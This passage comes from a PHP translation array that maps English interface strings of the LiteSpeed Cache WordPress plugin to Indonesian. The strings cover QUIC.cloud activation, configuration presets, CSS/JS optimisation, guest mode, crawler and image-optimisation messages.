successfully.'=>'Berhasil mengatur ulang aktivasi %s.','Congratulations, %s successfully set this domain up for the online services with CDN service.'=>'Selamat, %s berhasil menyiapkan domain ini untuk layanan daring dengan layanan CDN.','Congratulations, %s successfully set this domain up for the online services.'=>'Selamat, %s berhasil menyiapkan domain ini untuk layanan daring.','Congratulations, %s successfully set this domain up for the anonymous online services.'=>'Selamat, %s berhasil menyiapkan domain ini untuk layanan daring anonim.','%s activation data expired.'=>'Data aktivasi %s kedaluwarsa.','Failed to parse %s activation status.'=>'Gagal mengurai status aktivasi %s.','Failed to validate %s activation data.'=>'Gagal memvalidasi data aktivasi %s.','Cert or key file does not exist.'=>'Sertifikat atau berkas kunci tidak ada.','You need to activate QC first.'=>'Anda harus mengaktifkan QC terlebih dahulu.','You need to set the %1$s first. Please use the command %2$s to set.'=>'Anda perlu mengatur %1$s terlebih dahulu. Silakan gunakan perintah %2$s untuk mengatur.','Failed to get echo data from WPAPI'=>'Gagal mendapatkan data echo WPAPI','The user with id %s has editor access, which is not allowed for the role simulator.'=>'Pengguna dengan id %s memiliki akses editor, yang tidak diizinkan untuk simulator peran.','You have used all of your quota left for current service this month.'=>'Anda telah menggunakan seluruh kuota tersisa untuk layanan saat ini di bulan ini.','Learn more or purchase additional quota.'=>'Pelajari lebih lanjut atau beli kuota tambahan.','You have used all of your daily quota for today.'=>'Anda telah menggunakan seluruh kuota harian Anda untuk hari ini.','If comment to be kept is like: %1$s write: %2$s'=>'Jika komentar yang akan dipertahankan adalah seperti: %1$s tulis: %2$s','When minifying HTML do not discard comments that match a specified pattern.'=>'Saat memperkecil HTML, jangan hapus komentar yang sesuai dengan pola tertentu.','Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.'=>'Tentukan tindakan AJAX di POST/GET dan jumlah detik untuk menyimpan permintaan tersebut, dipisahkan dengan spasi.','HTML Keep Comments'=>'Pertahankan Komentar HTML','AJAX Cache TTL'=>'TTL Cache AJAX','You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.'=>'Anda memiliki gambar yang menunggu untuk ditarik. Harap tunggu sampai penarikan otomatis selesai, atau tarik ke bawah secara manual sekarang.','Clean all orphaned post meta records'=>'Bersihkan seluruh catatan meta tulisan tanpa induk','Orphaned Post Meta'=>'Meta Tulisan Tanpa Induk','Best available WordPress performance'=>'Kinerja WordPress terbaik yang tersedia','Clean orphaned post meta successfully.'=>'Berhasil membersihkan meta tulisan tanpa induk.','Last Pulled'=>'Penarikan Terakhir','You can list the 3rd party vary cookies here.'=>'Anda dapat membuat daftar kuki pihak ketiga yang bervariasi di sini.','Vary Cookies'=>'Variasi Kuki','Preconnecting speeds up future loads from a given origin.'=>'Prahubung mempercepat pemuatan di masa mendatang dari sumber yang diberikan.','If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.'=>'Jika tema Anda tidak menggunakan JS untuk memperbarui keranjang mini, Anda harus mengaktifkan opsi ini untuk menampilkan konten keranjang yang benar.','Generate a separate vary cache copy for the mini cart when the cart is not empty.'=>'Buat salinan cache bervariasi yang terpisah untuk keranjang mini ketika keranjang berisi.','Vary for Mini Cart'=>'Bervariasi untuk Keranjang Mini','DNS Preconnect'=>'Prahubung DNS','This setting is %1$s for certain qualifying requests due to %2$s!'=>'Pengaturan ini %1$s untuk permintaan kualifikasi tertentu karena %2$s!','Listed JS files or inline JS code will be delayed.'=>'Berkas JS yang terdaftar atau kode JS sebaris akan tertunda.','URL Search'=>'Cari URL','JS Delayed Includes'=>'JS Tertunda Termasuk','Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.'=>'Domain_Key Anda untuk sementara telah dimasukkan ke dalam daftar blokir untuk mencegah penyalahgunaan. Anda dapat menghubungi dukungan di QUIC.cloud untuk mempelajari lebih lanjut.','Cloud server refused the current request due to unpulled images. Please pull the images first.'=>'Peladen awan menolak permintaan saat ini karena gambar tidak ditarik. Silakan tarik gambarnya terlebih dahulu.','Current server load'=>'Beban peladen saat ini','Redis encountered a fatal error: %1$s (code: %2$d)'=>'Redis mengalami galat fatal: %1$s (kode: %2$d)','Started async image optimization request'=>'Memulai permintaan pengoptimalan gambar asinkron','Started async crawling'=>'Memulai perayapan asinkron','Saving option failed. IPv4 only for %s.'=>'Opsi penyimpanan gagal. IPv4 hanya untuk %s.','Cloud server refused the current request due to rate limiting. Please try again later.'=>'Peladen awan menolak permintaan saat ini karena pembatasan tarif. Silakan coba lagi nanti.','Maximum image post id'=>'ID gambar tulisan maksimum','Current image post id position'=>'Posisi id tulisan gambar saat ini','Images ready to request'=>'Gambar siap diminta','Redetect'=>'Deteksi ulang','If you are using a %1$s socket, %2$s should be set to %3$s'=>'Jika Anda menggunakan soket %1$s, %2$s harus disetel ke %3$s','All QUIC.cloud service queues have been cleared.'=>'Seluruh antrean layanan QUIC.cloud telah dihapus.','Cache key must be integer or non-empty string, %s given.'=>'Kunci cache harus berupa bilangan bulat atau string yang tidak kosong, %s diberikan.','Cache key must not be an empty string.'=>'Kunci cache tidak boleh berupa string kosong.','JS Deferred / Delayed Excludes'=>'Pengecualian JS Ditangguhkan/Ditunda','The queue is processed asynchronously. It may take time.'=>'Antrean diproses secara asinkron. Ini mungkin memerlukan waktu.','In order to use QC services, need a real domain name, cannot use an IP.'=>'Untuk menggunakan layanan QC, memerlukan nama domain asli, tidak bisa menggunakan IP.','Restore Settings'=>'Pulihkan Pengaturan','This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?'=>'Ini akan memulihkan pengaturan cadangan yang dibuat %1$s sebelum menerapkan praset %2$s. Perubahan apa pun yang dilakukan sejak saat itu akan hilang. Apakah Anda ingin melanjutkan?','Backup created %1$s before applying the %2$s preset'=>'Cadangan dibuat %1$s sebelum menerapkan praset %2$s','Applied the %1$s preset %2$s'=>'Menerapkan praset %1$s %2$s','Restored backup settings %1$s'=>'Setelan cadangan dipulihkan %1$s','Error: Failed to apply the settings %1$s'=>'Galat: Gagal menerapkan pengaturan %1$s','History'=>'Riwayat','unknown'=>'tidak diketahui','Apply Preset'=>'Terapkan Praset','This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?'=>'Ini akan mencadangkan setelan Anda saat ini dan menggantinya dengan setelan praset %1$s. Apakah Anda ingin melanjutkan?','Who should use this preset?'=>'Siapa yang harus menggunakan praset ini?','Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.'=>'Gunakan Praset resmi rancangan LiteSpeed untuk mengonfigurasi situs Anda dalam satu klik. Cobalah hal-hal penting dalam cache tanpa risiko, pengoptimalan ekstrem, atau sesuatu di antaranya.','LiteSpeed Cache Standard Presets'=>'Praset Standar LiteSpeed Cache','A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores.'=>'Koneksi QUIC.cloud diperlukan untuk menggunakan praset ini. Memungkinkan tingkat optimasi maksimum untuk meningkatkan skor kecepatan halaman.','This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.'=>'Praset ini hampir pasti memerlukan pengujian dan pengecualian untuk beberapa gambar CSS, JS, dan Tunda Muat. Berikan perhatian khusus pada logo, atau gambar slider berbasis HTML.','Inline CSS added to Combine'=>'CSS sebaris ditambahkan ke Gabungan','Inline JS added to Combine'=>'JS sebaris ditambahkan ke Gabungan','JS Delayed'=>'JS Tertunda','Viewport Image Generation'=>'Pembuatan Area Pandang Gambar','Lazy Load for Images'=>'Tunda Muat Gambar','Everything in Aggressive, Plus'=>'Seluruh yang Agresif, Plus','Extreme'=>'Ekstrem','This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.'=>'Praset ini mungkin langsung berfungsi untuk beberapa situs web, tetapi pastikan untuk mengujinya! Beberapa pengecualian CSS atau JS mungkin diperlukan di Optimasi Halaman > Penyesuaian.','Lazy Load for Iframes'=>'Tunda Muat Iframes','Removed Unused CSS for Users'=>'Hapus CSS yang Tidak Digunakan untuk Pengguna','Asynchronous CSS Loading with Critical CSS'=>'Pemuatan CSS Asinkron dengan CSS Penting','CSS & JS Combine'=>'Gabungan CSS & JS','Everything in Advanced, Plus'=>'Seluruh yang Tingkat Lanjut, Plus','Aggressive'=>'Agresif','A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.'=>'Koneksi QUIC.cloud diperlukan untuk menggunakan praset ini. Termasuk berbagai optimasi yang diketahui dapat meningkatkan skor kecepatan halaman.','This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.'=>'Praset ini bagus untuk sebagian besar situs web, dan kecil kemungkinannya menimbulkan konflik. Setiap konflik CSS atau JS dapat diselesaikan dengan Optimasi Halaman > Penyesuaian.','Remove Query Strings from Static Files'=>'Hapus String Kueri dari Berkas Statis','DNS Prefetch for static files'=>'Prapengambilan DNS untuk berkas statis','JS Defer for both external and inline JS'=>'Penangguhan JS untuk JS eksternal dan sebaris','CSS, JS and HTML Minification'=>'Perkecil CSS, JS, dan HTML','Guest Mode and Guest Optimization'=>'Mode Tamu dan Optimasi Tamu','Everything in Basic, Plus'=>'Seluruh yang Dasar, Plus','Advanced (Recommended)'=>'Tingkat Lanjut (Disarankan)','A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools.'=>'Koneksi QUIC.cloud diperlukan untuk menggunakan praset ini. Termasuk optimasi yang diketahui dapat meningkatkan skor situs dalam alat pengukuran kecepatan halaman.','This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.'=>'Praset berisiko rendah ini memperkenalkan pengoptimalan dasar untuk kecepatan dan pengalaman pengguna. Cocok untuk pemula yang antusias.','Mobile Cache'=>'Cache Seluler','Everything in Essentials, Plus'=>'Seluruh yang Esensial, Plus','A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled.'=>'Koneksi QUIC.cloud tidak diperlukan untuk menggunakan praset ini. Hanya fitur cache dasar yang diaktifkan.','This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.'=>'Praset tanpa risiko ini cocok untuk seluruh situs web. Baik untuk pengguna baru, situs web sederhana, atau pengembangan berorientasi cache.','Higher TTL'=>'TTL lebih tinggi','Default Cache'=>'Cache Asali','Essentials'=>'Esensial','LiteSpeed Cache Configuration Presets'=>'Praset Konfigurasi Cache LiteSpeed','Standard Presets'=>'Praset Standar','Listed CSS files will be excluded from UCSS and saved to inline.'=>'Berkas CSS yang terdaftar akan dikecualikan dari UCSS dan disimpan ke sebaris.','UCSS Selector Allowlist'=>'Daftar yang Diizinkan Selektor UCSS','Presets'=>'Praset','Partner Benefits Provided by'=>'Manfaat Mitra Disediakan oleh','LiteSpeed Logs'=>'Log LiteSpeed','Crawler Log'=>'Log Perayap','Purge Log'=>'Bersihkan Log','Prevent writing log entries that include listed strings.'=>'Cegah penulisan entri log yang menyertakan string yang terdaftar.','View Site Before Cache'=>'Lihat Situs Sebelum Cache','View Site Before Optimization'=>'Lihat Situs Sebelum Optimasi','Debug Helpers'=>'Bantuan Debug','Enable Viewport Images auto generation cron.'=>'Aktifkan kron pembuatan otomatis Area Pandang Gambar.','This enables the page\'s initial screenful of imagery to be fully displayed without delay.'=>'Hal ini memungkinkan layar awal gambar halaman ditampilkan sepenuhnya tanpa penundaan.','The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.'=>'Layanan Area Pandang Gambar mendeteksi gambar mana yang muncul di paruh atas, dan mengecualikannya dari tunda muat.','When you use Lazy Load, it will delay the loading of all images on a page.'=>'Saat Anda menggunakan Tunda Muat, itu akan menunda pemuatan seluruh gambar di halaman.','Use %1$s to bypass remote image dimension check when %2$s is ON.'=>'Gunakan %1$s untuk mengabaikan pemeriksaan dimensi gambar jarak jauh saat %2$s AKTIF.','VPI'=>'VPI','%s must be turned ON for this setting to work.'=>'%s harus DIAKTIFKAN agar setelan ini berfungsi.','Viewport Image'=>'Area Pandang Gambar','API: Filter %s available to disable blocklist.'=>'API: Penyaring %s tersedia untuk menonaktifkan daftar blokir.','API: PHP Constant %s available to disable blocklist.'=>'API: Konstanta PHP %s tersedia untuk menonaktifkan daftar blokir.','Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:'=>'Harap pertimbangkan untuk menonaktifkan plugin yang terdeteksi berikut, karena mungkin bertentangan dengan LiteSpeed Cache:','Mobile'=>'Ponsel','Disable VPI'=>'Nonaktifkan VPI','Disable Image Lazyload'=>'Nonaktifkan Tunda muat Gambar','Disable Cache'=>'Nonaktifkan Cache','Debug String Excludes'=>'Pengecualian String Debug','Viewport Images Cron'=>'Kron Area Pandang Gambar','Viewport Images'=>'Area Pandang Gambar','Alias is in use by another QUIC.cloud account.'=>'Alias ​​sedang digunakan oleh akun QUIC.cloud lain.','Unable to automatically add %1$s as a Domain Alias for main %2$s domain.'=>'Tidak dapat secara otomatis menambahkan %1$s sebagai Alias Domain untuk domain %2$s utama.','Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.'=>'Tidak dapat secara otomatis menambahkan %1$s sebagai Alias Domain untuk domain %2$s utama, karena kemungkinan konflik CDN.','You cannot remove this DNS zone, because it is still in use. Please update the domain\'s nameservers, then try to delete this zone again, otherwise your site will become inaccessible.'=>'Anda tidak dapat menghapus zona DNS ini, karena masih digunakan. Harap perbarui peladen nama domain, lalu coba hapus zona ini lagi, jika tidak, situs Anda tidak akan dapat diakses.','The site is not a valid alias on QUIC.cloud.'=>'Situs ini bukan alias yang valid di QUIC.cloud.','Please thoroughly test each JS file you add to ensure it functions as expected.'=>'Harap uji secara menyeluruh setiap berkas JS yang Anda tambahkan untuk memastikannya berfungsi seperti yang diharapkan.','Please thoroughly test all items in %s to ensure they function as expected.'=>'Harap uji seluruh item secara menyeluruh di %s untuk memastikan seluruhnya berfungsi seperti yang diharapkan.','Use %1$s to bypass UCSS for the pages which page type is %2$s.'=>'Gunakan %1$s untuk melewati UCSS untuk halaman yang tipe halamannya %2$s.','Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.'=>'Gunakan %1$s untuk menghasilkan satu UCSS tunggal untuk halaman yang tipe halamannya %2$s sedangkan tipe halaman lainnya masih per URL.','Filter %s available for UCSS per page type generation.'=>'Penyaring %s tersedia untuk UCSS tiap pembuatan jenis halaman.','Guest Mode failed to test.'=>'Mode Tamu gagal diuji.','Guest Mode passed testing.'=>'Mode Tamu lulus pengujian.','Testing'=>'Pengujian','Guest Mode testing result'=>'Hasil pengujian Mode Tamu','Not blocklisted'=>'Bukan daftar blokir','Learn more about when this is needed'=>'Pelajari lebih lanjut tentang kapan ini diperlukan','Cleaned all localized resource entries.'=>'Membersihkan seluruh entri sumber daya yang dilokalkan.','View .htaccess'=>'Lihat .htaccess','You can use this code %1$s in %2$s to specify the htaccess file path.'=>'Anda dapat menggunakan kode %1$s di %2$s untuk menentukan jalur berkas htaccess.','PHP Constant %s is supported.'=>'Mendukung konstanta PHP %s.','Default path is'=>'Jalur asali adalah','.htaccess Path'=>'Jalur .htaccess','Please read all warnings before enabling this option.'=>'Harap baca seluruh peringatan sebelum mengaktifkan opsi ini.','This will delete all generated unique CSS files'=>'Ini akan menghapus seluruh berkas CSS unik yang dihasilkan','In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.'=>'Untuk menghindari galat pemutakhiran, Anda harus menggunakan %1$s atau yang lebih baru sebelum dapat meningkatkan ke versi %2$s.','Use latest GitHub Dev/Master commit'=>'Gunakan komit GitHub Dev/Master terbaru','Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.'=>'Tekan tombol %s untuk menggunakan komit GitHub terbaru. Master adalah untuk kandidat rilis & Dev untuk pengujian eksperimental.','Downgrade not recommended. May cause fatal error due to refactored code.'=>'Penurunan versi tidak disarankan. Dapat menyebabkan galat fatal karena penulisan ulang kode.','Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.'=>'Hanya optimasi halaman untuk pengunjung tamu (tidak masuk). Jika NONAKTIF, berkas CSS/JS/CCSS akan digandakan oleh setiap grup pengguna.','Listed JS files or inline JS code will not be optimized by %s.'=>'Berkas JS yang terdaftar atau kode JS sebaris tidak akan dioptimalkan oleh %s.','Listed URI will not generate UCSS.'=>'URI yang terdaftar tidak akan menghasilkan UCSS.','The selector must exist in the CSS. Parent classes in the HTML will not work.'=>'Selektor harus ada di CSS. Kelas induk dalam HTML tidak akan berfungsi.','Wildcard %s supported.'=>'Mendukung karakter pengganti %s.','Useful for above-the-fold images causing CLS (a Core Web Vitals metric).'=>'Berguna untuk gambar paruh-atas yang menyebabkan CLS (Core Web Vitals metric).','Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).'=>'Tetapkan lebar dan tinggi secara eksplisit pada elemen gambar untuk mengurangi pergeseran tata letak dan meningkatkan CLS (metrik Core Web Vital).','Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.'=>'Perubahan pada setelan ini tidak berlaku untuk LQIP yang sudah dibuat. Untuk membuat ulang LQIP yang ada, harap %s terlebih dahulu dari menu bilah admin.','Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).'=>'Menangguhkan hingga halaman diuraikan atau menunda hingga interaksi dapat membantu mengurangi perebutan sumber daya dan meningkatkan kinerja yang menyebabkan FID (Core Web Vitals metric) lebih rendah.','Delayed'=>'Ditunda','JS error can be found from the developer console of browser by right clicking and choosing Inspect.'=>'Galat JS dapat ditemukan dari konsol pengembang peramban dengan klik kanan dan pilih Inspeksi.','This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.'=>'Opsi ini dapat mengakibatkan  JS atau masalah tata letak pada tampilan depan dengan tema/plugin tertentu.','This will also add a preconnect to Google Fonts to establish a connection earlier.'=>'Ini juga akan menambahkan prahubung ke Fon Google untuk membuat koneksi lebih awal.','Delay rendering off-screen HTML elements by its selector.'=>'Tunda merender elemen HTML di luar layar oleh pemilihnya.','Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.'=>'Nonaktifkan opsi ini untuk menghasilkan CCSS per Jenis Tulisan, bukan per halaman. Ini dapat menghemat kuota CCSS yang signifikan, namun dapat mengakibatkan gaya CSS yang salah jika situs Anda menggunakan pembuat halaman.','This option is bypassed due to %s option.'=>'Opsi ini dilewati karena opsi %s.','Elements with attribute %s in HTML code will be excluded.'=>'Elemen dengan atribut %s dalam kode HTML akan dikecualikan.','Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.'=>'Gunakan layanan daring QUIC.cloud untuk menghasilkan CSS penting dan memuat sisa CSS secara asinkron.','This option will automatically bypass %s option.'=>'Opsi ini akan secara otomatis melewati opsi %s.','Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.'=>'UCSS sebaris untuk mengurangi pemuatan berkas CSS ekstra. Opsi ini tidak akan diaktifkan secara otomatis untuk halaman %1$s. Untuk menggunakannya di halaman %1$s, harap setel ke AKTIF.','Run %s Queue Manually'=>'Jalankan Antrean %s Secara Manual','This option is bypassed because %1$s option is %2$s.'=>'Opsi ini dilewati karena opsi %1$s adalah %2$s.','Automatic generation of unique CSS is in the background via a cron-based queue.'=>'Pembuatan otomatis CSS unik di latar belakang melalui antrean berbasis kron.','This will drop the unused CSS on each page from the combined file.'=>'Ini akan menghapus CSS yang tidak digunakan pada setiap halaman dari berkas gabungan.','HTML Settings'=>'Pengaturan HTML','LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.'=>'Plugin cache LiteSpeed ​​ditingkatkan. Harap segarkan halaman untuk menyelesaikan peningkatan data konfigurasi.','Listed IPs will be considered as Guest Mode visitors.'=>'IP terdaftar akan dianggap sebagai kunjungan Mode Tamu.','Listed User Agents will be considered as Guest Mode visitors.'=>'Agen Pengguna Terdaftar akan dianggap sebagai pengunjung Mode Tamu.','Your %1$s quota on %2$s will still be in use.'=>'Kuota %1$s Anda di %2$s masih akan digunakan.','This option can help to correct the cache vary for certain advanced mobile or tablet visitors.'=>'Opsi ini dapat membantu memperbaiki variasi cache untuk pengunjung seluler atau tablet tingkat lanjut tertentu.','Guest Mode provides an always cacheable landing page for an automated guest\'s first time visit, and then attempts to update cache varies via AJAX.'=>'Mode Tamu menyediakan halaman arahan yang selalu dapat dicache untuk kunjungan pertama tamu secara otomatis, dan kemudian berusaha memperbarui variasi cache melalui AJAX.','Please make sure this IP is the correct one for visiting your site.'=>'Harap pastikan bahwa IP ini sudah benar untuk mengunjungi situs Anda.','the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.'=>'alamat IP yang terdeteksi secara otomatis mungkin tidak akurat jika Anda memiliki set IP keluar tambahan, atau Anda memiliki beberapa IP yang dikonfigurasi di peladen Anda.','You need to turn %s on and finish all WebP generation to get maximum result.'=>'Anda perlu mengaktifkan %s dan menyelesaikan seluruh pembuatan WebP untuk mendapatkan hasil yang maksimal.','You need to turn %s on to get maximum result.'=>'Anda perlu mengaktifkan %s untuk mendapatkan hasil yang maksimal.','This option enables maximum optimization for Guest Mode visitors.'=>'Opsi ini memungkinkan pengoptimalan maksimum untuk pengunjung Mode Tamu.','More'=>'Lebih Lanjut','Remaining Daily Quota'=>'Sisa Kuota Harian','Successfully Crawled'=>'Berhasil Dirayapi','Already Cached'=>'Sudah Dicache','The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.'=>'Perayap akan menggunakan peta situs XML atau indeks peta situs Anda. Masukkan URL lengkap ke peta situs Anda di sini.','Optional when API token used.'=>'Opsional saat token API sudah digunakan.','Recommended to generate the token from Cloudflare API token template "WordPress".'=>'Direkomendasikan untuk menghasilkan token dari templat token Cloudflare API "WordPress".','Global API Key / API Token'=>'Kunci API/Token API Global','NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s.'=>'CATATAN: CDN QUIC.cloud dan Cloudflare tidak menggunakan Pemetaan CDN. Jika Anda hanya menggunakan QUIC.cloud atau Cloudflare, biarkan pengaturan ini %s.','Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN.'=>'Ubah pengaturan %s jika Anda menggunakan Jaringan Pengiriman Konten (CDN) tradisional atau subdomain untuk konten statis dengan CDN QUIC.cloud.','Use external object cache functionality.'=>'Gunakan fungsionalitas cache obyek eksternal.','Serve a separate cache copy for mobile visitors.'=>'Sajikan salinan cache terpisah untuk pengunjung seluler.','By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.'=>'Standanya, halaman Akun Saya, Checkout, dan Keranjang yang secara otomatis dikecualikan dari cache. Kesalahan konfigurasi asosiasi halaman di pengaturan WooCommerce dapat menyebabkan beberapa halaman salah dikecualikan.','Cleaned all Unique CSS files.'=>'Membersihkan seluruh berkas CSS Unik.','Add Missing Sizes'=>'Tambah Ukuran yang Hilang','Optimize for Guests Only'=>'Optimasi Hanya untuk Pengunjung','Guest Mode JS Excludes'=>'Pengecualian JS Mode Tamu','CCSS Per URL'=>'CCSS Per-URL','HTML Lazy Load Selectors'=>'Selektor Tunda Muat HTML','UCSS URI Excludes'=>'Pengecualian UCSS URI','UCSS Inline'=>'UCSS Sebaris','Guest Optimization'=>'Optimasi Pengunjung','Guest Mode'=>'Mode Tamu','Guest Mode IPs'=>'IP Mode Tamu','Guest Mode User Agents'=>'Agen Pengguna Mode Tamu','Online node needs to be redetected.'=>'Node daring perlu dideteksi ulang.','The current server is under heavy load.'=>'Peladen saat ini memiliki beban berat.','Please see %s for more details.'=>'Silakan buka %s untuk lebih detil.','This setting will regenerate crawler list and clear the disabled list!'=>'Pengaturan ini akan membuat ulang daftar perayap dan menghapus daftar yang dinonaktifkan!','%1$s %2$s files left in queue'=>'%1$s %2$s berkas tertinggal dalam antrean','Crawler disabled list is cleared! All crawlers are set to active! '=>'Daftar perayap yang dinonaktifkan dibersihkan! Seluruh perayap diatur aktif! ','Redetected node'=>'Node yang terdeteksi kembali','No available Cloud Node after checked server load.'=>'Tidak ada Node Awan yang tersedia setelah memeriksa beban peladen.','Localization Files'=>'Berkas Pelokalan','Purged!'=>'Dibersihkan!','Resources listed here will be copied and replaced with local URLs.'=>'Sumber daya yang tercantum di sini akan disalin dan diganti dengan URL lokal.','Use latest GitHub Master commit'=>'Gunakan komit GitHub Master terbaru','Use latest GitHub Dev commit'=>'Gunakan komit GitHub Dev terbaru','No valid sitemap parsed for crawler.'=>'Tidak ada peta situs yang valid yang diuraikan untuk perayap.','CSS Combine External and Inline'=>'Gabung CSS Eksternal dan Sebaris','Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.'=>'Sertakan CSS eksternal dan CSS sebaris dalam berkas gabungan saat %1$s diaktifkan. Opsi ini membantu menjaga prioritas CSS, yang seharusnya meminimalkan potensi  yang disebabkan oleh Penggabungan CSS.','Minify CSS files and inline CSS code.'=>'Perkecil dan sebariskan berkas CSS.','Predefined list will also be combined w/ the above settings'=>'Daftar yang telah ditentukan juga akan digabungkan dengan pengaturan di atas','Localization'=>'Pelokalan','Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.'=>'Sertakan JS eksternal dan JS sebaris dalam berkas gabungan saat %1$s diaktifkan. Opsi ini membantu menjaga prioritas eksekusi JS, yang seharusnya meminimalkan potensi  yang disebabkan oleh Gabungan JS.','Combine all local JS files into a single file.'=>'Gabungkan seluruh berkas JS lokal menjadi satu berkas.','Listed JS files or inline JS code will not be deferred or delayed.'=>'Berkas JS yang terdaftar atau kode JS sebaris tidak akan ditangguhkan atau ditunda.','JS Combine External and Inline'=>'Gabung JS Eksternal dan Sebaris','Dismiss'=>'Abaikan','The latest data file is'=>'Berkas data terbaru adalah','The list will be merged with the predefined nonces in your local data file.'=>'Daftar tersebut akan digabungkan dengan nonces yang telah ditentukan sebelumnya dalam berkas data lokal Anda.','Combine CSS files and inline CSS code.'=>'Gabung berkas CSS dan sebariskan kode CSS.','Minify JS files and inline JS codes.'=>'Perkecil berkas JS dan sebariskan kode JS.','Listed JS files or inline JS code will not be minified or combined.'=>'Berkas JS yang terdaftar atau kode JS sebaris tidak akan diperkecil atau digabungkan.','Listed CSS files or inline CSS code will not be minified or combined.'=>'Berkas CSS yang terdaftar atau kode CSS sebaris tidak akan diperkecil atau digabungkan.','This value is overwritten by the Network setting.'=>'Nilai ini ditimpa oleh pengaturan Jaringan.','LQIP Excludes'=>'Pengecualian LQIP','These images will not generate LQIP.'=>'Gambar-gambar ini tidak akan menghasilkan LQIP.','Are you sure you want to reset all settings back to the default settings?'=>'Anda yakin ingin menyetel ulang seluruh pengaturan kembali ke pengaturan asali?','This option will remove all %s tags from HTML.'=>'Opsi ini akan menghapus seluruh tag %s dari HTML.','Are you sure you want to clear all cloud nodes?'=>'Anda yakin ingin menghapus seluruh node awan?','Remove Noscript Tags'=>'Hapus Tag Noscript','The site is not registered on QUIC.cloud.'=>'Situs ini tidak terdaftar di QUIC.cloud.','Click here to set.'=>'Klik di sini untuk mengatur.','Localize Resources'=>'Lokalisasi Sumber Daya','Setting Up Custom Headers'=>'Menyiapkan Header Khusus','This will delete all localized resources'=>'Ini akan menghapus seluruh sumber daya yang dilokalkan','Localized Resources'=>'Sumber Daya yang Dilokalisasi','Comments are supported. Start a line with a %s to turn it into a comment line.'=>'Mendukung komentar. Mulai baris dengan %s untuk mengubahnya menjadi baris komentar.','HTTPS sources only.'=>'Sumber HTTPS saja.','Localize external resources.'=>'Lokalkan sumber daya eksternal.','Localization Settings'=>'Pengaturan Pelokalan','Use QUIC.cloud online service to generate unique CSS.'=>'Gunakan layanan daring QUIC.cloud untuk menghasilkan CSS yang unik.','Generate UCSS'=>'Buat UCSS','Unique CSS'=>'CSS Unik','Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches'=>'Bersihkan entri cache yang dibuat oleh plugin ini kecuali untuk CSS Penting, CSS Unik, dan cache LQIP','LiteSpeed Report'=>'Laporan LiteSpeed','Image Thumbnail Group Sizes'=>'Ukuran Grup Gambar Mini','Ignore certain query strings when caching. (LSWS %s required)'=>'Abaikan string kueri tertentu saat men-cache. (Diperlukan %s LSWS)','For URLs with wildcards, there may be a delay in initiating scheduled purge.'=>'Untuk URL dengan karakter pengganti, mungkin ada penundaan dalam memulai pembersihan terjadwal.','By design, this option may serve stale content. Do not enable this option, if that is not OK with you.'=>'Secara desain, opsi ini mungkin menyajikan konten lama. Jangan aktifkan opsi ini, jika Anda tidak setuju.','Serve Stale'=>'Sajikan Sepanjang Waktu','This value is overwritten by the primary site setting.'=>'Nilai ini ditimpa oleh pengaturan situs utama.','One or more pulled images does not match with the notified image md5'=>'Satu atau lebih gambar yang ditarik tidak cocok dengan md5 gambar yang disampaikan','Some optimized image file(s) has expired and was cleared.'=>'Beberapa berkas gambar yang dioptimalkan telah kedaluwarsa dan telah dihapus.','You have too many requested images, please try again in a few minutes.'=>'Anda memiliki terlalu banyak permintaan gambar, harap coba lagi dalam beberapa menit.','Pulled WebP image md5 does not match the notified WebP image md5.'=>'Nilai md5 gambar WebP yang ditarik tidak cocok dengan md5 gambar WebP yang disampaikan.','Pulled AVIF image md5 does not match the notified AVIF image md5.'=>'MD5 gambar AVIF yang ditarik tidak 